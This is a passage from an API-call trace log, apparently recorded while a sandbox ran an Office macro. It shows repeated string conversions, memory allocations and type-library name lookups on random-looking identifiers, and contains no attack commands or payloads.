lpWideCharStr="trOqzAFiNz") returned 10 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7817e, cbMultiByte=10, lpWideCharStr=0xd201fb6, cchWideChar=22 | out: lpWideCharStr="rSdzEiFzdP") returned 10 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78192, cbMultiByte=10, lpWideCharStr=0xd202160, cchWideChar=22 | out: lpWideCharStr="zzRLwZWrkM") returned 10 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb781a6, cbMultiByte=10, lpWideCharStr=0xd20230a, cchWideChar=22 | out: lpWideCharStr="DNkcDDVwXO") returned 10 [0019.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb781ba, cbMultiByte=10, lpWideCharStr=0xd2024b4, cchWideChar=22 | out: lpWideCharStr="uhzcSaWQhU") returned 10 [0019.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb781ce, cbMultiByte=10, lpWideCharStr=0xd20265e, cchWideChar=22 | out: lpWideCharStr="RltOlwaCuY") returned 10 [0019.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb781e2, cbMultiByte=10, lpWideCharStr=0xd202808, cchWideChar=22 | out: lpWideCharStr="iOwBtdhBtB") returned 10 [0019.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb781f6, cbMultiByte=10, lpWideCharStr=0xd2029b2, cchWideChar=22 | out: lpWideCharStr="JIZPUQzotW") returned 10 [0019.016] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd210000 [0019.017] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dHwLSdj") returned 0x10c0dd [0019.017] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="dHwLSdj" | out: _Dst="dHwLSdj") returned 0x0 [0019.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="dHwLSdj") returned 8 [0019.017] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.017] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dHwLSdj", lHashVal=0x10c0dd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.017] IUnknown:Release (This=0x7919520) returned 0x10 [0019.017] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.017] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dHwLSdj", lHashVal=0x10c0dd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.017] IUnknown:Release (This=0x7346470) returned 0xb [0019.017] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.017] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dHwLSdj", lHashVal=0x10c0dd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.017] IUnknown:Release (This=0x7345930) returned 0x7 [0019.017] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.017] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dHwLSdj", lHashVal=0x10c0dd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.017] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.017] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.017] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_dHwLSdj" | out: _Dst="_B_var_dHwLSdj") returned 0x0 [0019.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_dHwLSdj") returned 15 [0019.017] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.017] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dHwLSdj", lHashVal=0x10b4e0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.017] IUnknown:Release (This=0x7919520) returned 0x10 [0019.017] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.017] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dHwLSdj", lHashVal=0x10b4e0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.017] IUnknown:Release (This=0x7346470) returned 0xb [0019.017] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.017] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dHwLSdj", lHashVal=0x10b4e0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.017] IUnknown:Release (This=0x7345930) returned 0x7 [0019.017] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.017] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dHwLSdj", lHashVal=0x10b4e0, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.017] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.017] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.017] IUnknown:Release (This=0x7919520) returned 0x10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78214, cbMultiByte=10, lpWideCharStr=0xd210e2c, cchWideChar=22 | out: lpWideCharStr="BlwFmsfDun") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7822e, cbMultiByte=10, lpWideCharStr=0xd211276, cchWideChar=22 | out: lpWideCharStr="ociSUTipaf") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78242, cbMultiByte=10, lpWideCharStr=0xd211420, cchWideChar=22 | out: lpWideCharStr="fdwTMhNzYz") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78256, cbMultiByte=10, lpWideCharStr=0xd2115ca, cchWideChar=22 | out: lpWideCharStr="YwTilVrXiT") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7826a, cbMultiByte=10, lpWideCharStr=0xd211774, cchWideChar=22 | out: lpWideCharStr="MHjqXzVYnM") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7827e, cbMultiByte=10, lpWideCharStr=0xd21191e, cchWideChar=22 | out: lpWideCharStr="zUKdpYofsF") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78292, cbMultiByte=10, lpWideCharStr=0xd211ac8, cchWideChar=22 | out: lpWideCharStr="fiizPpIvjw") returned 10 [0019.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb782a6, cbMultiByte=10, lpWideCharStr=0xd211c72, cchWideChar=22 | out: lpWideCharStr="bLGGTYuGvN") returned 10 [0019.019] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qjfncF") returned 0x1004b6 [0019.019] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="qjfncF" | out: _Dst="qjfncF") returned 0x0 [0019.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="qjfncF") returned 7 [0019.019] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.019] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="qjfncF", lHashVal=0x1004b6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.019] IUnknown:Release (This=0x7919520) returned 0x10 [0019.019] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.019] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="qjfncF", lHashVal=0x1004b6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.019] IUnknown:Release (This=0x7346470) returned 0xb [0019.019] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.019] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="qjfncF", lHashVal=0x1004b6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.019] IUnknown:Release (This=0x7345930) returned 0x7 [0019.019] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.019] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="qjfncF", lHashVal=0x1004b6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.019] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.019] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.019] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_qjfncF" | out: _Dst="_B_var_qjfncF") returned 0x0 [0019.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_qjfncF") returned 14 [0019.019] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.019] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_qjfncF", lHashVal=0x107f5f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.019] IUnknown:Release (This=0x7919520) returned 0x10 [0019.019] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.019] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_qjfncF", lHashVal=0x107f5f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.019] IUnknown:Release (This=0x7346470) returned 0xb [0019.019] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.019] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_qjfncF", lHashVal=0x107f5f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.019] IUnknown:Release (This=0x7345930) returned 0x7 [0019.019] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.019] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_qjfncF", lHashVal=0x107f5f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.019] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.019] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.019] IUnknown:Release (This=0x7919520) returned 0x10 [0019.020] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd220000 [0019.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb782c4, cbMultiByte=18, lpWideCharStr=0xd2200e4, cchWideChar=38 | out: lpWideCharStr="MPtc NJbDSjddjfYr") returned 18 [0019.021] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="iYlHrhPst" | out: _Dst="iYlHrhPst") returned 0x0 [0019.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="iYlHrhPst") returned 10 [0019.021] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.021] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iYlHrhPst", lHashVal=0x10a681, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.021] IUnknown:Release (This=0x7919520) returned 0x10 [0019.021] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.021] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iYlHrhPst", lHashVal=0x10a681, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.021] IUnknown:Release (This=0x7346470) returned 0xb [0019.021] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.021] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iYlHrhPst", lHashVal=0x10a681, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.021] IUnknown:Release (This=0x7345930) returned 0x7 [0019.021] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.021] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iYlHrhPst", lHashVal=0x10a681, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.021] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.021] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_iYlHrhPst" | out: _Dst="_B_var_iYlHrhPst") returned 0x0 [0019.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_iYlHrhPst") returned 17 [0019.021] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.021] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iYlHrhPst", lHashVal=0x10afc6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.021] IUnknown:Release (This=0x7919520) returned 0x10 [0019.021] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.021] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iYlHrhPst", lHashVal=0x10afc6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.021] IUnknown:Release (This=0x7346470) returned 0xb [0019.021] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.021] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iYlHrhPst", lHashVal=0x10afc6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.021] IUnknown:Release (This=0x7345930) returned 0x7 [0019.021] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.021] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iYlHrhPst", lHashVal=0x10afc6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.021] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.021] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.021] IUnknown:Release (This=0x7919520) returned 0x10 [0019.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78306, cbMultiByte=10, lpWideCharStr=0xd221270, cchWideChar=22 | out: lpWideCharStr="dTCzkjiwjo") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7831a, cbMultiByte=10, lpWideCharStr=0xd22141a, cchWideChar=22 | out: lpWideCharStr="sUWjLILitU") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7832e, cbMultiByte=10, lpWideCharStr=0xd2215c4, cchWideChar=22 | out: lpWideCharStr="wlIYVXEiFb") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78342, cbMultiByte=10, lpWideCharStr=0xd22176e, cchWideChar=22 | out: lpWideCharStr="ILLlXqGafo") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78356, cbMultiByte=10, lpWideCharStr=0xd221918, cchWideChar=22 | out: lpWideCharStr="hDFEdhjcEn") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7836a, cbMultiByte=10, lpWideCharStr=0xd221ac2, cchWideChar=22 | out: lpWideCharStr="GpcVLsKddM") returned 10 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7837e, cbMultiByte=10, lpWideCharStr=0xd221c6c, cchWideChar=22 | out: lpWideCharStr="bAqIfjJkJV") returned 10 [0019.022] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="dBnXZqqsz" | out: _Dst="dBnXZqqsz") returned 0x0 [0019.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="dBnXZqqsz") returned 10 [0019.022] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.022] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dBnXZqqsz", lHashVal=0x10d851, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.022] IUnknown:Release (This=0x7919520) returned 0x10 [0019.022] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.022] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dBnXZqqsz", lHashVal=0x10d851, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.022] IUnknown:Release (This=0x7346470) returned 0xb [0019.023] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.023] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dBnXZqqsz", lHashVal=0x10d851, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.023] IUnknown:Release (This=0x7345930) returned 0x7 [0019.023] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.023] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dBnXZqqsz", lHashVal=0x10d851, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.023] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.023] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_dBnXZqqsz" | out: _Dst="_B_var_dBnXZqqsz") returned 0x0 [0019.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_dBnXZqqsz") returned 17 [0019.023] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.023] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dBnXZqqsz", lHashVal=0x10d215, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.023] IUnknown:Release (This=0x7919520) returned 0x10 [0019.023] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.023] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dBnXZqqsz", lHashVal=0x10d215, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.023] IUnknown:Release (This=0x7346470) returned 0xb [0019.023] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.023] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dBnXZqqsz", lHashVal=0x10d215, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.023] IUnknown:Release (This=0x7345930) returned 0x7 [0019.023] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.023] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dBnXZqqsz", lHashVal=0x10d215, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.023] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.023] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.023] IUnknown:Release (This=0x7919520) returned 0x10 [0019.023] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd230000 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7839c, cbMultiByte=10, lpWideCharStr=0xd2300e4, cchWideChar=22 | out: lpWideCharStr="MoJLzDnpsN") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb783b6, cbMultiByte=10, lpWideCharStr=0xd23052e, cchWideChar=22 | out: lpWideCharStr="jLidodclah") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb783ca, cbMultiByte=10, lpWideCharStr=0xd2306d8, cchWideChar=22 | out: lpWideCharStr="qZrpkmNDKR") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb783de, cbMultiByte=10, lpWideCharStr=0xd230882, cchWideChar=22 | out: lpWideCharStr="iijftqYSzM") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb783f2, cbMultiByte=10, lpWideCharStr=0xd230a2c, cchWideChar=22 | out: lpWideCharStr="CTCTRQhdSp") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78406, cbMultiByte=10, lpWideCharStr=0xd230bd6, cchWideChar=22 | out: lpWideCharStr="vIjOWmzUbN") returned 10 [0019.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7841a, cbMultiByte=10, lpWideCharStr=0xd230d80, cchWideChar=22 | out: lpWideCharStr="qjibjwbwkz") returned 10 [0019.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7842e, cbMultiByte=10, lpWideCharStr=0xd230f2a, cchWideChar=22 | out: lpWideCharStr="EJoOfWXYYU") returned 10 [0019.025] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="CuDziBGj" | out: _Dst="CuDziBGj") returned 0x0 [0019.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="CuDziBGj") returned 9 [0019.025] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.025] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="CuDziBGj", lHashVal=0x101992, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.025] IUnknown:Release (This=0x7919520) returned 0x10 [0019.025] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.025] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="CuDziBGj", lHashVal=0x101992, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.025] IUnknown:Release (This=0x7346470) returned 0xb [0019.025] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.025] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="CuDziBGj", lHashVal=0x101992, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.025] IUnknown:Release (This=0x7345930) returned 0x7 [0019.025] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.025] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="CuDziBGj", lHashVal=0x101992, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.025] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.025] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_CuDziBGj" | out: _Dst="_B_var_CuDziBGj") returned 0x0 [0019.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_CuDziBGj") returned 16 [0019.025] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.025] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_CuDziBGj", lHashVal=0x10f15a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.025] IUnknown:Release (This=0x7919520) returned 0x10 [0019.025] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.025] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_CuDziBGj", lHashVal=0x10f15a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.025] IUnknown:Release (This=0x7346470) returned 0xb [0019.025] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.025] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_CuDziBGj", lHashVal=0x10f15a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.025] IUnknown:Release (This=0x7345930) returned 0x7 [0019.025] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.025] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_CuDziBGj", lHashVal=0x10f15a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.025] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.025] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.025] IUnknown:Release (This=0x7919520) returned 0x10 [0019.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78466, cbMultiByte=10, lpWideCharStr=0xd2337e6, cchWideChar=22 | out: lpWideCharStr="OiYVMLSflk") returned 10 [0019.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7847a, cbMultiByte=10, lpWideCharStr=0xd233990, cchWideChar=22 | out: lpWideCharStr="rjccsBZSiz") returned 10 [0019.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7848e, cbMultiByte=10, lpWideCharStr=0xd233b3a, cchWideChar=22 | out: lpWideCharStr="dcAAPkKRsY") returned 10 [0019.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb784a2, cbMultiByte=10, lpWideCharStr=0xd233ce4, cchWideChar=22 | out: lpWideCharStr="kRKoAlHAJL") returned 10 [0019.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb784b6, cbMultiByte=10, lpWideCharStr=0xd233e8e, cchWideChar=22 | out: lpWideCharStr="POdfsnnwdP") returned 10 [0019.026] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd240000 [0019.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb784ca, cbMultiByte=10, lpWideCharStr=0xd240064, cchWideChar=22 | out: lpWideCharStr="tRIdJmiYGc") returned 10 [0019.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb784de, cbMultiByte=10, lpWideCharStr=0xd24020e, cchWideChar=22 | out: lpWideCharStr="ABnNzZVncG") returned 10 [0019.028] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="wqMYfniXmL" | out: _Dst="wqMYfniXmL") returned 0x0 [0019.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="wqMYfniXmL") returned 11 [0019.028] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.028] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wqMYfniXmL", lHashVal=0x10e73e, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.028] IUnknown:Release (This=0x7919520) returned 0x10 [0019.028] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.028] 